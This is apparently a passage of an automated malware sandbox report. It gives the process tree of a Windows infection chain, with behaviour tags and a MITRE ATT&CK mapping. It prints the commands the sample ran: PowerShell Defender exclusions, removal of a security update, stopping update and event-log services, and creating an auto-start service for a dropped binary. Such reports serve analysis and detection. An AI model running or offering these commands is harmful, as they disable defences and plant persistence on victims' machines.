- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe
    "C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1724
  - - C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe"
      4⤵
      Executes dropped EXE
      PID:2936
  - - C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe"
      4⤵
      Executes dropped EXE
      PID:1420
  - - C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe"
      4⤵
      Executes dropped EXE
      PID:2848
  - - C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1004884001\crypted.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies system certificate store
      PID:1248
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 120
      4⤵
      Loads dropped DLL
      Program crash
      PID:3044
- - C:\Users\Admin\AppData\Local\Temp\1004943001\chrone.exe
    "C:\Users\Admin\AppData\Local\Temp\1004943001\chrone.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1200
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2272
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:1912
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:1888
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:1540
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:2596
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:2592
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:1584
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:792
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:864
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:2560
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:2472
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "GDRQRNRG"
      4⤵
      Launches sc.exe
      PID:2644
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "GDRQRNRG" binpath= "C:\ProgramData\xrvqzpvhzdcy\rfopgxavqojn.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:552
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:2500
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "GDRQRNRG"
      4⤵
      Launches sc.exe
      PID:1624
- - C:\Users\Admin\AppData\Local\Temp\1004968001\a5ed946195.exe
    "C:\Users\Admin\AppData\Local\Temp\1004968001\a5ed946195.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    PID:2804
- - C:\Users\Admin\AppData\Local\Temp\1004969001\1bdca27f16.exe
    "C:\Users\Admin\AppData\Local\Temp\1004969001\1bdca27f16.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:760
- - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
    3⤵
    PID:1036
- - C:\Users\Admin\AppData\Local\Temp\1004971001\23d2380dd4.exe
    "C:\Users\Admin\AppData\Local\Temp\1004971001\23d2380dd4.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Windows security modification
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2384

C:\ProgramData\xrvqzpvhzdcy\rfopgxavqojn.exe
C:\ProgramData\xrvqzpvhzdcy\rfopgxavqojn.exe
1⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:328
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2704
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2572
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2872
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2760
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2672
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3004
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1400
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2968
- C:\Windows\system32\notepad.exe
  notepad.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion